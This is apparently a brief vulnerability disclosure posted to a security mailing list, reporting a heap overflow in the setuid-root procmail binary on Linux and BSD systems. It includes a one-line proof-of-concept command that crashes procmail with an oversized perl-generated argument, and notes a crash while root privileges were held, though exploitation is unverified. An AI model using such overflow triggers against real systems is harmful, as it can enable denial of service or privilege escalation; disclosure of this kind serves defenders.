procmail heap overflow

[flatline <flatline () blackhat nl>]

hi,

i found a heap overflow in procmail (up until latest) some time ago.

flatline@intra:/usr/bin$ ls -la procmail
-rwsr-xr-x    1 root     mail        64344 Jun  3  2001 procmail*
flatline@intra:/usr/bin$ ./procmail `perl -e '{print "A"x10240}'`=A
procmail: Exceeded LINEBUF
Segmentation fault
flatline@intra:/usr/bin$

at first it seemed to properly drop privs before segging, but not too long 
ago i managed to make it crash while it still had euid 0.
segfaults have been seen on red hat/slackware linux and bsd variants. 
successful exploitation has not been verified.

/ flatline

greets fly out to fc, zeno, xistence, thewolf, #gold, #!xpc and everyone 
who felt left out.